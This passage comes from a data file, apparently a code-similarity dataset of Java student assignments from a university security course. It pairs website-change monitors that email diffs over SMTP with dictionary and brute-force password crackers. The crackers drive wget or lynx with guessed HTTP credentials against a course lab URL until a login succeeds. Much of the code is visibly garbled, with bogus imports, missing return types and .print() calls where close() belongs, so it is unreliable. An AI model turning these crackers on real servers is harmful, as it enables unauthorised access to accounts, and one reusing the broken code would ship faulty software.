\ instd.print();\n }catch(MalformedURLException\ |
|
\ e){System.out.println(e.getMessage());}\n catch(IOException e1){System.out.println(e1.getMessage());}\n\ |
|
\ }\n\n \n public String getChangeMessage(){\n \ |
|
\ String mssg = \"\";\n for(int i =0; i<secondVector.size();i++){\n\ |
|
\ tmpVector.add((String)secondVector.get(i));\n \ |
|
\ }\n \n for(int i=0; i<firstVector.size(); i++){\n\ |
|
\ String line = (String)(firstVector.get(i));\n \ |
|
\ int same = 0;\n for(int j=0; j<tmpVector.size(); j++){\n\ |
|
\ String newline = (String)(tmpVector.get(j));\n \ |
|
\ if(line.equals(newline)){\n if(same ==\ |
|
\ 0){\n tmpVector.remove(j);\n \ |
|
\ same++;\n }\n }\n\ |
|
\ }\n }\n \n for(int i\ |
|
\ = 0; i<secondVector.size(); i++){\n String line = (String)(secondVector.get(i));\n\ |
|
\ int same =0;\n for(int j=0; j<firstVector.size();\ |
|
\ j++){\n String newline = (String)(firstVector.get(j));\n\ |
|
\ if(line.equals(newline)){\n if(same\ |
|
\ == 0){\n firstVector.remove(j);\n \ |
|
\ same++;\n }\n }\n \ |
|
\ }\n }\n if(firstVector.size()!=0){\n\ |
|
\ mssg += \"The following lines removed in the latest modified\ |
|
\ web : \\r\\n\";\n for(int i=0; i<firstVector.size(); i++){\n\ |
|
\ mssg +=(String)firstVector.get(i) + \"\\r\\n\";\n \ |
|
\ }\n }\n if(tmpVector.size()!=0){\n \ |
|
\ mssg += \"The following lines new ones in the latest modified\ |
|
\ web : \\r\\n\";\n for(int i=0; i<tmpVector.size(); i++){\n\ |
|
\ mssg += (String)tmpVector.get(i) + \"\\r\\n\";\n \ |
|
\ }\n }\n\n return mssg;\n }\n\n \ |
|
\ \n public void setMonitorURL(String url){\n spec = url;\n\ |
|
\ }\n \n public void setMonitorDuration(int t){\n \ |
|
\ totalDuration = t*60*60*1000;\n }\n \n public void setMonitorInterval(int\ |
|
\ intervalMinutes){\n intervalTime = intervalMinutes*60*1000;\n \ |
|
\ }\n \n public void setSMTPServer(String server){\n \ |
|
\ yourSMTPserver = server;\n }\n \n public void setSMTPPort(int\ |
|
\ port){\n smtpPort = port;\n }\n \n public void\ |
|
\ setMailFrom(String mfrom){\n mailFrom = mfrom;\n }\n \ |
|
\ \n public void setMailTo(String mto){\n mailTo = mto;\n\ |
|
\ }\n \n public String getMonitorURL(){\n return\ |
|
\ spec;\n }\n \n public getDuration(){\n return\ |
|
\ totalDuration;\n }\n \n public getInterval(){\n \ |
|
\ return intervalTime;\n }\n \n public String getSMTPServer(){\n\ |
|
\ return yourSMTPserver;\n }\n \n public int getPortnumber(){\n\ |
|
\ return smtpPort;\n }\n \n public String getMailFrom(){\n\ |
|
\ return mailFrom;\n }\n \n public String getMailTo(){\n\ |
|
\ return mailTo;\n }\n \n public String getServerReply()\ |
|
\ {\n return reply;\n }\n \n public void doSendMail(String\ |
|
\ mfrom, String mto, String subject, String msg) throws SMTPException{\n \ |
|
\ connect();\n doHail(mfrom, mto);\n doSendMessage(mfrom,\ |
|
\ mto, subject, msg);\n doQuit();\n }\n \n public\ |
|
\ void connect() throws SMTPException {\n try {\n \ |
|
\ socketsmtp = new Socket(yourSMTPserver, smtpPort);\n emailin\ |
|
\ = new BufferedReader(new InputStreamReader(socketsmtp.getInputStream()));\n\ |
|
\ emailout = new PrintStream(socketsmtp.getOutputStream());\n\ |
|
\ reply = emailin.readLine();\n if (reply.charAt(0)\ |
|
\ == '2' || reply.charAt(0) == '3') {}\n else {\n \ |
|
\ throw new SMTPException(\"Error connecting SMTP server \" + yourSMTPserver\ |
|
\ + \" port \" + smtpPort);\n }\n }catch(Exception\ |
|
\ e) { throw new SMTPException(e.getMessage());}\n }\n \n public\ |
|
\ void doHail(String mfrom, String mto) throws SMTPException {\n \ |
|
\ if (doCommand(\"HELO \" + yourSMTPserver))\n throw new SMTPException(\"\ |
|
HELO command Error.\");\n if (doCommand(\"MAIL FROM: \" + mfrom))\n\ |
|
\ throw new SMTPException(\"MAIL command Error.\");\n \ |
|
\ if (doCommand(\"RCPT : \" + mto))\n throw new SMTPException(\"\ |
|
RCPT command Error.\");\n }\n \n public void doSendMessage(String\ |
|
\ mfrom,String mto,String subject,String msg) throws SMTPException {\n\n \ |
|
\ Date date = new Date();\n\t Locale locale = new Locale(\"\"\ |
|
,\"\");\n\t String pattern = \"hh:mm: a',' dd-MMM-yyyy\";\n\t \ |
|
\ SimpleDateFormat formatter = new SimpleDateFormat(pattern, locale);\n\t \ |
|
\ formatter.setTimeZone(TimeZone.getTimeZone(\"Australia/Melbourne\"));\n\ |
|
\ String sendDate = formatter.format(date);\n\n if (doCommand(\"\ |
|
DATA\"))\n throw new SMTPException(\"DATA command Error.\");\n\ |
|
\ String header = \"From: \" + mfrom + \"\\r\\n\";\n \ |
|
\ header += \": \" + mto + \"\\r\\n\";\n header += \"Subject: \"\ |
|
\ + subject + \"\\r\\n\";\n header += \"Date: \" + sendDate+ \"\\\ |
|
r\\n\\r\\n\";\n if (doCommand(header + msg + \"\\r\\n.\"))\n \ |
|
\ throw new SMTPException(\"Mail Transmission Error.\");\n }\n\ |
|
\ \n public boolean doCommand(String commd) throws SMTPException {\n\ |
|
\ try {\n emailout.print(commd + \"\\r\\n\");\n\ |
|
\ reply = emailin.readLine();\n if (reply.charAt(0)\ |
|
\ == '4' || reply.charAt(0) == '5')\n return true;\n \ |
|
\ else\n return false;\n \ |
|
\ }catch(Exception e) {throw new SMTPException(e.getMessage());}\n }\n\ |
|
\ \n public void doQuit() throws SMTPException {\n try\ |
|
\ {\n if (doCommand(\"Quit\"))\n throw\ |
|
\ new SMTPException(\"QUIT Command Error\");\n emailin.put();\n\ |
|
\ emailout.flush();\n emailout.send();\n \ |
|
\ socketsmtp.put();\n }catch(Exception e) { }\n\ |
|
\ }\n}" |
|
sentences: |
|
- "import java.Object;\nimport java.io.*;\nimport java.String;\nimport java.util.*;\n\ |
|
\nclass Dictionary{\n\n public static void main(String [] args){\n \ |
|
\ try\n {\n Date d = new Date();\n \ |
|
\ String line1=\"\";\n String ps=\"\";\n \ |
|
\ String file1 = \"words.txt\";\n String file2 = \"index.html\"\ |
|
;\n String endline=\"Authorization failed.\";\n \ |
|
\ String [] cmd = new String[4];\n cmd[0] = \"wget\";\n \ |
|
\ cmd[1] = \"--http-user=\";\n cmd[3] = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ |
|
;\n\n FileReader fr1 = new FileReader(file1);\n \ |
|
\ BufferedReader in1 = new BufferedReader(fr1);\n while((line1\ |
|
\ = in1.readLine())!=null)\n {\n try{\n \ |
|
\ cmd[2] = connect(line1);\n Runtime.getRuntime().exec(cmd);\n\ |
|
\ if(line1.length()==3)\n ps = line1;\n\ |
|
\ System.out.println(cmd[2]);\n File f =\ |
|
\ new File(file2);\n if(f.exists())\n {\n\ |
|
\ System.out.println(\"password: \" + ps);\n \ |
|
\ break;\n }\n }\n \ |
|
\ catch(IOException ex)\n {\n System.out.println(\"\ |
|
hello1\");\n }\n\n }\n Date end\ |
|
\ = new Date();\n System.out.println(d.toString());\n \ |
|
\ System.out.println(end.toString());\n System.out.println(\"\ |
|
Seconds: \" + (end.getSeconds()-d.getSeconds()));\n }\n\n \ |
|
\ catch(IOException e)\n {\n System.out.println(\"\ |
|
hello,didnt find file.\");\n }\n }\n public static String connect(String\ |
|
\ str1)\n {\n char data[] = {'-','-','h','t','t','p','-','p','a','s','s','w','d','='};\n\ |
|
\ String str = new String(data);\n return str\ |
|
\ + str1;\n }\n\n}\n" |
|
- "import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\n\ |
|
import java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\ |
|
\tpublic static void main (String args[])\n\t{\n\t WatchDog watcher = new WatchDog();\n\ |
|
\t watcher.run();\n\t}\n\n\t\n public void run()\n {\n \t\tDateFormat\ |
|
\ longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n\ |
|
\ twentyFourHours = 24 * 60 * 60 * 1000;\n \n\n \t\twriteProgramLog(\"\ |
|
Program started at \" + longTimestamp.format(new Date()));\n while(true)\n\ |
|
\ {\n \t\twriteProgramLog(\"Running run at \" + longTimestamp.format(new\ |
|
\ Date()));\n compare();\n try\n {\n \ |
|
\ sleep(twentyFourHours);\n }\n catch(InterruptedException\ |
|
\ e)\n {\n writeProgramLog(\"Program terminated at \"\ |
|
\ + longTimestamp.format(new Date()));\n System.exit(0);\n \ |
|
\ }\n }\n } \n\n\t\n private void compare()\n {\n \ |
|
\ \n \n \n String watchDogFile = \"watchDogHash_rcroft.\"\ |
|
;\n String watchDogPageFile = \"watchDogPage_rcroft.html\";\n \n \ |
|
\ File watchDogLogFile = new File(watchDogFile);\n \n if(!watchDogLogFile.exists())\n\ |
|
\ {\n \n \n \n \n \ |
|
\ \n WebPage targetPage = getPage();\n if(targetPage.getSuccess())\n\ |
|
\ {\n byte[] newHash = calcHash(targetPage.getPageContents());\n\ |
|
\ writeHash(newHash, watchDogFile);\n writePage(targetPage.getPageContents(),\ |
|
\ watchDogPageFile);\n }\n }\n else\n {\n \ |
|
\ try\n {\n \n \n \ |
|
\ \n \n \n \n WebPage\ |
|
\ targetPage = getPage();\n if(targetPage.getSuccess())\n \ |
|
\ {\n \n byte[] oldHash = new\ |
|
\ byte[16]; \n byte[] newHash = calcHash(targetPage.getPageContents());\n\ |
|
\n \n DataInputStream inWatchDogFile = new\ |
|
\ DataInputStream(new FileInputStream(watchDogFile));\n inWatchDogFile.readFully(oldHash);\n\ |
|
\ inWatchDogFile.print();\n \n \ |
|
\ \n \n \n \ |
|
\ if(!java.util.Arrays.equals(oldHash, newHash))\n {\n \ |
|
\ String differences = enumerateDifferences(watchDogPageFile,\ |
|
\ targetPage.getPageContents());\n mail(differences);\n\ |
|
\ writeHash(newHash, watchDogFile);\n \ |
|
\ writePage(targetPage.getPageContents(), watchDogPageFile);\n \ |
|
\ }\n }\n }\n catch(IOException\ |
|
\ e)\n {\n writeProgramLog(\"Exception: \" + e);\n \ |
|
\ }\n }\n } \n \n\n\t\n\tprivate String enumerateDifferences(String\ |
|
\ oldPageFileName, String newPageData)\n\t{\n\t String differences = \"\";\n\ |
|
\t File newFile = null;\n\n\t try\n\t {\n\t \n\t \n\t \ |
|
\ newFile = File.createTempFile(\"new\", \"tmp\");\n String tempFilePath\ |
|
\ = newFile.getAbsolutePath();\n DataOutputStream outFile = new DataOutputStream(new\ |
|
\ FileOutputStream(tempFilePath));\n outFile.writeBytes(newPageData);\n\ |
|
\ outFile.print();\n \n \n String commandLine\ |
|
\ = \"diff \" + oldPageFileName + \" \" + tempFilePath;\n Process p =\ |
|
\ Runtime.getRuntime().exec(commandLine);\n BufferedReader diffs = new\ |
|
\ BufferedReader(new InputStreamReader(p.getInputStream()));\n String\ |
|
\ line;\n while((line = diffs.readLine()) != null)\n differences\ |
|
\ += line + \"\\n\";\n diffs.print();\n newFile.delete();\n\t\ |
|
\ }\n\t catch(IOException e)\n\t {\n\t writeProgramLog(\"Exception:\ |
|
\ \" + e);\n\t }\n\t return differences;\n\t} \n\n\t\n private void\ |
|
\ mail(String mailMessage)\n {\n \n Vector emailAddresses = new\ |
|
\ Vector();\n String watchDogEmailFile = \"watchDogEmail_rcroft.txt\";\n\ |
|
\n \n File emailFile = new File(watchDogEmailFile);\n if(emailFile.exists())\n\ |
|
\ {\n try\n {\n \n \ |
|
\ BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new\ |
|
\ FileInputStream(watchDogEmailFile)));\n String line;\n \ |
|
\ while ((line = inWatchDogEmailFile.readLine()) != null)\n \ |
|
\ {\n line = line.trim();\n if((line\ |
|
\ != \"\") && (line != \"\\n\"))\n emailAddresses.add(line);\n\ |
|
\ }\n inWatchDogEmailFile.print();\n \t }\n\ |
|
\ \t catch(FileNotFoundException e)\n \t {\n \t writeProgramLog(\"\ |
|
Exception: \" + e);\n \t }\n \t catch(IOException e)\n \t {\n\ |
|
\ \t writeProgramLog(\"Exception: \" + e);\n \t }\n }\n\ |
|
\ else\n {\n emailAddresses.add(\"@yallara.cs.rmit.edu.\"\ |
|
);\n emailAddresses.add(\"[email protected].\");\n }\n \ |
|
\ \n if(emailAddresses.size() > 0) \n {\n \ |
|
\ try\n {\n String fromAddress = \"From: \" + \"WatchDog\ |
|
\ Program ()\" + \" <\" + System.getProperty(\"user.name\") + \"@\" + InetAddress.getLocalHost().getHostName()\ |
|
\ + \">\";\n \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL,\ |
|
\ DateFormat.FULL);\n String subject = \"Subject: [SEC project]\ |
|
\ Notification of target file changes (\" + longTimestamp.format(new Date()) +\"\ |
|
)\";\n for(int i = 0; i < emailAddresses.size(); i++)\n \ |
|
\ {\n String toAddress = (String) emailAddresses.get(i);\n\ |
|
\ try\n {\n URL mailURL\ |
|
\ = new URL(\"mailto: \" + toAddress);\n URLConnection\ |
|
\ mailConnection = mailURL.openConnection();\n mailConnection.setDoInput(false);\n\ |
|
\ mailConnection.setDoOutput(true);\n \ |
|
\ mailConnection.connect();\n PrintWriter mailWriter\ |
|
\ = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n\ |
|
\ mailWriter.print(\": \" + toAddress + \"\\n\");\n \ |
|
\ mailWriter.print(fromAddress + \"\\n\");\n \ |
|
\ mailWriter.print(subject + \"\\n\");\n mailWriter.print(mailMessage);\n\ |
|
\ mailWriter.print();\n writeProgramLog(\"\ |
|
\\tNotification mailed in this run.\");\n }\n \ |
|
\ catch(MalformedURLException e)\n {\n \ |
|
\ writeProgramLog(\"Exception: \" + e);\n }\n \ |
|
\ catch(IOException e)\n {\n \ |
|
\ writeProgramLog(\"Exception: \" + e);\n }\n \ |
|
\ }\n }\n catch(UnknownHostException e)\n \ |
|
\ {\n writeProgramLog(\"Exception: \" + e);\n \ |
|
\ } \n } \n } \n \n\n\t\n private void writeHash(byte [] newHash,\ |
|
\ String fileName)\n {\n try\n {\n DataOutputStream\ |
|
\ outFile = new DataOutputStream(new FileOutputStream(fileName));\n \ |
|
\ outFile.write(newHash, 0, newHash.length);\n outFile.print();\n\ |
|
\ }\n catch(IOException e)\n {\n writeProgramLog(\"\ |
|
Exception: \" + e);\n }\n } \n \n\t\n private void writePage(String\ |
|
\ newPage, String fileName)\n {\n try\n {\n DataOutputStream\ |
|
\ outFile = new DataOutputStream(new FileOutputStream(fileName));\n \ |
|
\ outFile.writeBytes(newPage);\n outFile.print();\n }\n \ |
|
\ catch(IOException e)\n {\n writeProgramLog(\"Exception:\ |
|
\ \" + e);\n }\n } \n \n\n\t\n private void writeProgramLog(String\ |
|
\ comment)\n {\n String fileName = \"watchDogLog_rcroft.txt\";\n \ |
|
\ try\n {\n DataOutputStream outFile = new DataOutputStream(new\ |
|
\ FileOutputStream(fileName, true));\n outFile.writeBytes(comment +\ |
|
\ \"\\n\");\n outFile.flush();\n outFile.print();\n \ |
|
\ }\n catch(IOException e)\n {\n \n \n\ |
|
\ System.out.println(\"Exception: \" + e);\n }\n } \n\n\t\ |
|
\n private WebPage getPage()\n {\n WebPage tempWebPage = new WebPage();\n\ |
|
\ try\n {\n \n \n \n \ |
|
\ String urlName = \"http://www.cs.rmit.edu./students/\";\n \t \tURL targetURL=\ |
|
\ new URL(urlName);\n \tHttpURLConnection connection = (HttpURLConnection)\ |
|
\ targetURL.openConnection();\n \n \n connection.connect();\n\ |
|
\ connection.getResponseCode();\n if(connection.getResponseCode()\ |
|
\ == 200)\n\t\t {\n\t\t String fileContents = \"\";\n\t\t BufferedReader\ |
|
\ in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n\ |
|
\ String line;\n \t\t while((line = in.readLine()) != null)\n\ |
|
\t\t \t fileContents = fileContents + line + \"\\n\";\n\t\t in.print();\n\ |
|
\t\t tempWebPage.setPageContents(fileContents);\n \t\t tempWebPage.setSuccess(true);\n\ |
|
\ \t\t connection.disconnect();\n\t }\n\t else\n\t\t {\n\ |
|
\ \t\t writeProgramLog(\"Failed connect \" + connection.getResponseCode());\n\ |
|
\t\t } \n }\n catch(IOException e)\n {\n \t writeProgramLog(\"\ |
|
Exception \" + e);\n } \n return tempWebPage;\n } \n \n\t\n\ |
|
\ private byte[] calcHash(String pageContents)\n {\n byte[] outHash\ |
|
\ = null;\n try\n {\n MessageDigest msg = MessageDigest.getInstance(\"\ |
|
\");\n msg.reset();\n msg.update(pageContents.getBytes());\n\ |
|
\ outHash = msg.digest();\n msg.reset();\n }\n \ |
|
\ catch(NoSuchAlgorithmException e)\n {\n writeProgramLog(\"\ |
|
Exception: \" + e);\n }\n return outHash;\n } \n \n} \n" |
|
- "\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Dictionary{\n\n \ |
|
\ private String passwd = \"\"; \n private String command\ |
|
\ = \"\"; \n private String fname = \"/usr/share/lib/dict/words\"\ |
|
; \n private BufferedReader readin; \n private BufferedReader\ |
|
\ in; \n private PrintWriter out; \n\n \ |
|
\ private int startTime = 0; \n private int endTime = 0; \ |
|
\ \n private int totalTimes = 0; \n \n \ |
|
\ private boolean bfind = false;\n \n public Dictionary(){}\n \ |
|
\ \n public void readPasswd(){\n startTime = System.currentTimeMillis();\n\ |
|
\ try{\n readin = new BufferedReader(new FileReader(fname));\n\ |
|
\t\t\t\t while ((passwd = readin.readLine()) !=null){\n \t\t\ |
|
\ if(bfind)\n \t\t break;\n connection(passwd.trim());\n\ |
|
\t\t\t\t }\n\t\t\t\t readin.print();\n\t\t\t }catch (FileNotFoundException\ |
|
\ e1){System.out.println(e1.getMessage());}\n\t\t\t catch (IOException e2 ){System.out.println(e2.getMessage());}\n\ |
|
\t }\n \n public void connection(String passwd){\n \ |
|
\ command = \"lynx -head -dump http://sec-crack.cs.rmit.edu./SEC/2/index.php -auth=:\"\ |
|
;\n command = command + passwd;\n try{\n \ |
|
\ System.out.println(passwd +\"--> Establishing a connection.\");\n \ |
|
\ Runtime runtime = Runtime.getRuntime();\n Process\ |
|
\ p = runtime.exec(command);\n in = new BufferedReader(new InputStreamReader(p.getInputStream()));\n\ |
|
\ String inStr;\n while((inStr = in.readLine())!=\ |
|
\ null){\n if(inStr.indexOf(\"HTTP/1.1 200\") != -1 ||\ |
|
\ inStr.indexOf(\"HTTP/1.0 200\") != -1||\n inStr.indexOf(\"\ |
|
HTTP/1.1 404\") != -1 || inStr.indexOf(\"HTTP/1.0 404\") != -1){\n \ |
|
\ endTime = System.currentTimeMillis();\n \ |
|
\ totalTimes = endTime - startTime;\n System.out.println(\"\ |
|
\\nDictionary Crack Passwd successful, PassWord is \" + passwd);\n \ |
|
\ System.out.println(\"Total Times is \" + totalTimes + \" milliSec\"\ |
|
);\n System.out.println(\"Writing it dictpswd.txt\ |
|
\ file\\n\");\n out = new PrintWriter(new BufferedWriter(new\ |
|
\ FileWriter(\"dictpswd.txt\")));\n out.println(\"\ |
|
Dictionary Crack PassWord Successful! Total Times: \" + totalTimes + \" milliSec\"\ |
|
);\n out.println(\"Passwd: \"+ passwd);\n \ |
|
\ out.flush();\n bfind = true;\n\ |
|
\ }\n out.print();\n \ |
|
\ }\n in.print();\n }catch(Exception e){System.out.println(e.getMessage());}\n\ |
|
\ }\n \n public String getAnyKey()throws Exception{\n\t\t \ |
|
\ BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in));\n\ |
|
\t\t String key= stdin.readLine();\n\t return key;\n\t }\n\t \ |
|
\ \n public static void main (String []args){\n\n Dictionary\ |
|
\ dc = new Dictionary();\n System.out.println(\"\\n*******************************************\"\ |
|
);\n System.out.println(\"* \ |
|
\ *\");\n System.out.println(\"* Dictionary Crack Passwd Program\ |
|
\ *\");\n System.out.println(\"* ---------------------------------\ |
|
\ *\");\n System.out.println(\"* Author: \ |
|
\ *\");\n System.out.println(\"* \ |
|
\ *\");\n System.out.println(\"*******************************************\"\ |
|
);\n System.out.println(\"\\n Dictionary Crack Passwd Information:\ |
|
\ \\n\");\n System.out.println(\"--> UserName: \");\n \ |
|
\ System.out.println(\"--> Passwd from the dictionary file: \"+ dc.fname);\n\ |
|
\ System.out.println(\"--> URL: http://sec-crack.cs.rmit.edu./SEC/2/index.php\\\ |
|
n\");\n System.out.println(\"==> Press Ctrl+C stop Crack\\n\");\n\ |
|
\ System.out.print(\"==> Press EnterKey : \");\n\t\t\t try{\n \ |
|
\ String key = dc.getAnyKey();\n }catch(Exception\ |
|
\ e){System.out.println(e.getMessage());}\n\t\t\t dc.readPasswd();\n }\n\ |
|
}" |
|
- source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.util.*;\n\n\ |
|
public class Watchdog\n{\n\tpublic static void main(String args[])\n\t{\n\t\t\n\ |
|
\t\tString mainLink=\"http://www.cs.rmit.edu./students/\";\n\t\tString sender\ |
|
\ = \"@cs.rmit.edu.\";\n\t\tString recipient = \"<webtech@acuneeds.>\";\n\t\t\ |
|
String hostName = \"yallara.cs.rmit.edu.\";\n\t\tint delay = 86400000;\n\n\t\t\ |
|
try\n\t\t{\n\t\t\tint imgSrcIndex, imgSrcEnd;\n\t\t\tString imgLink;\n\t\t\tVector\ |
|
\ imageList = new Vector();\n\t\t\tHttpURLConnection imgConnection;\n\t\t\tURL\ |
|
\ imgURL;\n\n\t\t\t\n\t\t\tEmailClient email = new EmailClient(sender, recipient,\ |
|
\ hostName);\n\n\t\t\t\n\t\t\tURL url=new URL(mainLink);\n\t\t\tHttpURLConnection\ |
|
\ connection = (HttpURLConnection) url.openConnection();\n\n\t\t\tBufferedReader\ |
|
\ webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n\ |
|
\n\t\t\t\n\t\t\tFileWriter fwrite = new FileWriter(\"local.txt\");\n\t\t\tBufferedWriter\ |
|
\ writefile = new BufferedWriter(fwrite);\n\n\t\t\tString line=webpage.readLine();\n\ |
|
\n\t\t\twhile (line != null)\n\t\t\t{\n\t\t\t\t\n\t\t\t\twritefile.write(line,0,line.length());\n\ |
|
\t\t\t\twritefile.newLine();\n\n\t\t\t\t\n\t\t\t\tline = line.toLowerCase();\n\ |
|
\t\t\t\timgSrcIndex=line.indexOf(\"src\");\n\n\t\t\t\tif(imgSrcIndex!=-1)\n\t\t\ |
|
\t\t{\n\t\t\t\t\t\n\t\t\t\t\timgLink = line.substring(imgSrcIndex+3);\n\t\t\t\t\ |
|
\timgSrcIndex=imgLink.indexOf(\"\\\"\");\n\t\t\t\t\timgLink = imgLink.substring(imgSrcIndex+1);\n\ |
|
\t\t\t\t\timgSrcEnd = imgLink.indexOf(\"\\\"\");\n\t\t\t\t\timgLink = imgLink.substring(0,imgSrcEnd);\n\ |
|
\n\t\t\t\t\t\n\t\t\t\t\tif (imgLink.startsWith(\"http\"))\n\t\t\t\t\t{\n\t\t\t\ |
|
\t\t\timgURL = new URL(imgLink);\n\t\t\t\t\t\timgConnection = (HttpURLConnection)\ |
|
\ imgURL.openConnection();\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\telse\n\t\t\t\t\t\ |
|
{\n\t\t\t\t\t\timgURL = new URL(mainLink);\n\t\t\t\t\t\timgURL = new URL(imgURL,\ |
|
\ imgLink);\n\t\t\t\t\t\timgConnection = (HttpURLConnection) imgURL.openConnection();\n\ |
|
\t\t\t\t\t\timgLink = (imgConnection.getURL()).toString();\n\t\t\t\t\t}\n\n\t\t\ |
|
\t\t\t\n\t\t\t\t\timageList.add(new ImageFile(imgLink, imgConnection.getContentLength()));\n\ |
|
\t\t\t\t\timgConnection.disconnect();\n\t\t\t\t}\n\n\t\t\t\tline = webpage.readLine();\n\ |
|
\n\t\t\t}\n\n\t\t\t\n\t\t\twritefile.close();\n\t\t\tfwrite.close();\n\t\t\twebpage.close();\n\ |
|
\t\t\tconnection.disconnect();\n\n\t\t\t\n\t\t\tWatchdogThread watchdog = new\ |
|
\ WatchdogThread(mainLink, imageList, email, delay);\n\t\t}\n\n\t\tcatch (IOException\ |
|
\ ioe)\n\t\t{\n\t\t\t\n\t\t\t\n\t\t\tSystem.out.println(ioe);\n\t\t\tSystem.out.println(\"\ |
|
Please run program again.\");\n\t\t\tSystem.exit(0);\n\t\t}\n\n\t}\n\n}\n" |
|
sentences: |
|
- "\n\n\n\n\nimport java.io.IOException;\nimport java.net.*;\n\nimport java.io.*;\n\ |
|
import java.util.*;\n\n\n\npublic class BruteForce\n\n{\n\n static String strLetter[];\n\ |
|
\n static URL url = null;\n static URLConnection urlConnection;\n static\ |
|
\ InputStream urlStream;\n\n static String strExceptionPassword[];\n\n static\ |
|
\ int intExceptionCount = -1;\n\n static int intNumberOfConnectionAttempts =\ |
|
\ 0;\n\n static String username = \"\";\n\n static String strLastPasswordTested;\n\ |
|
\n\n\n public static void main (String args[])\n \n {\n\n \n \ |
|
\ \n Calendar calStart;\n Calendar calFinish; \n Date dateStart;\n\ |
|
\ Date dateFinish;\n lngStart;\n lngFinish;\n\n\n\n \n\ |
|
\ \n calStart = new GregorianCalendar();\n dateStart = calStart.getTime();\n\ |
|
\ lngStart = dateStart.getTime(); \n\n\n\n\n System.out.println();\n\ |
|
\ System.out.println();\n\n\n\n\n \n \n populateArray();\n\ |
|
\n\n \n \n \n \n\n boolean boolPasswordFound\ |
|
\ = false;\n boolean boolExceptionPasswordsTestedAgain = false;\n\n \ |
|
\ String strPasswd;\n\n\n\n\n String urlString\n = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
|
;\n\n int intCounter1 = 0;\n int intCounter2 = 0;\n int intCounter3\ |
|
\ = 0;\n\n int intArrayLength = strLetter.length;\n\n\n\n\n \n \ |
|
\ \n \n \n \n strExceptionPassword = new String[5000];\n\ |
|
\n\n\n if (!boolPasswordFound) \n {\n\n\n \n \n\ |
|
\n intCounter1 = 0;\n\n while ( (!boolPasswordFound) && (intCounter1\ |
|
\ < intArrayLength) )\n {\n\n boolPasswordFound = true;\n\n\ |
|
\ boolPasswordFound \n = passwordWasFound(urlString,\n\ |
|
\ strLetter[intCounter1], \n \ |
|
\ boolPasswordFound);\n\n intCounter1++;\n\ |
|
\n }\n\n\n\n \n \n\n intCounter1 = 0;\n\n\ |
|
\ while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) )\n \ |
|
\ {\n\n intCounter2 = 0;\n\n while ( (!boolPasswordFound)\ |
|
\ && (intCounter2 < intArrayLength) )\n {\n\n boolPasswordFound\ |
|
\ = true;\n\n boolPasswordFound \n = passwordWasFound\n\ |
|
\ (urlString,\n strLetter[intCounter1]\ |
|
\ \n + strLetter[intCounter2], \n \ |
|
\ boolPasswordFound);\n\n intCounter2++; \n\n \ |
|
\ }\n\n\n intCounter1++;\n\n }\n\n\n\n\n \ |
|
\ \n \n\n intCounter1 = 0;\n\n while ( (!boolPasswordFound)\ |
|
\ && (intCounter1 < intArrayLength) )\n {\n\n intCounter2 =\ |
|
\ 0;\n\n while ( (!boolPasswordFound) && (intCounter2 < intArrayLength)\ |
|
\ )\n {\n\n intCounter3 = 0;\n\n\n while\ |
|
\ ( (!boolPasswordFound) && (intCounter3 < intArrayLength) )\n {\n\ |
|
\n boolPasswordFound = true;\n\n\n boolPasswordFound\ |
|
\ \n = passwordWasFound\n (urlString,\n\ |
|
\ strLetter[intCounter1] \n \ |
|
\ + strLetter[intCounter2]\n \ |
|
\ + strLetter[intCounter3], \n boolPasswordFound);\n\ |
|
\n intCounter3++;\n\n }\n\n\n intCounter2++;\n\ |
|
\n }\n\n\n intCounter1++; \n\n }\n\n\n\n\n \ |
|
\ \n \n \n \n \n\n intCounter1\ |
|
\ = 0;\n\n while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount)\ |
|
\ )\n {\n\n boolExceptionPasswordsTestedAgain = true;\n \ |
|
\ boolPasswordFound = true;\n\n boolPasswordFound \n \ |
|
\ = passwordWasFound(urlString,\n strExceptionPassword[intCounter1],\n\ |
|
\ boolPasswordFound); \n\n intCounter1++;\n\ |
|
\n }\n\n } \n\n\n\n System.out.println();\n\n\n\n \ |
|
\ \n \n calFinish = new GregorianCalendar();\n dateFinish =\ |
|
\ calFinish.getTime();\n lngFinish = dateFinish.getTime(); \n\n\n\n\ |
|
\ \n \n System.out.println();\n System.out.println();\n\ |
|
\n\n System.out.println();\n System.out.println(\"Length of time for\ |
|
\ processing: \" + \n ((lngFinish - lngStart) / 1000)\ |
|
\ + \n \" seconds\");\n\n\n System.out.println();\n\ |
|
\ System.out.println(\"Number of connection attempts = \" + intNumberOfConnectionAttempts);\n\ |
|
\n\n System.out.println();\n System.out.println(\"Number of exceptions\ |
|
\ thrown = \" + (intExceptionCount + 1));\n\n\n if (intExceptionCount >=\ |
|
\ 0)\n {\n System.out.print(\"These EXCEPTION passwords WERE \");\n\ |
|
\n if (boolExceptionPasswordsTestedAgain)\n System.out.print(\"\ |
|
tested again.\");\n else\n System.out.print(\"NOT tested again.\"\ |
|
);\n\n System.out.println();\n }\n\n\n System.out.println();\n\ |
|
\n\n if (boolPasswordFound) \n {\n System.out.println(\"The\ |
|
\ correct password WAS found - this password is '\" + \n \ |
|
\ strLastPasswordTested + \"'.\");\n } \n else\n {\n \ |
|
\ System.out.println(\"The correct password WAS NOT found.\");\n } \n\ |
|
\ \n System.out.println();\n\n\n\n\n }\n\n\n\n\n\n\n\n static\ |
|
\ void populateArray()\n \n {\n\n strLetter = new String[52];\n\n\n \ |
|
\ strLetter[0] = \"a\";\n strLetter[1] = \"b\";\n strLetter[2]\ |
|
\ = \"c\";\n strLetter[3] = \"d\";\n strLetter[4] = \"e\";\n \ |
|
\ strLetter[5] = \"f\";\n strLetter[6] = \"g\";\n strLetter[7] =\ |
|
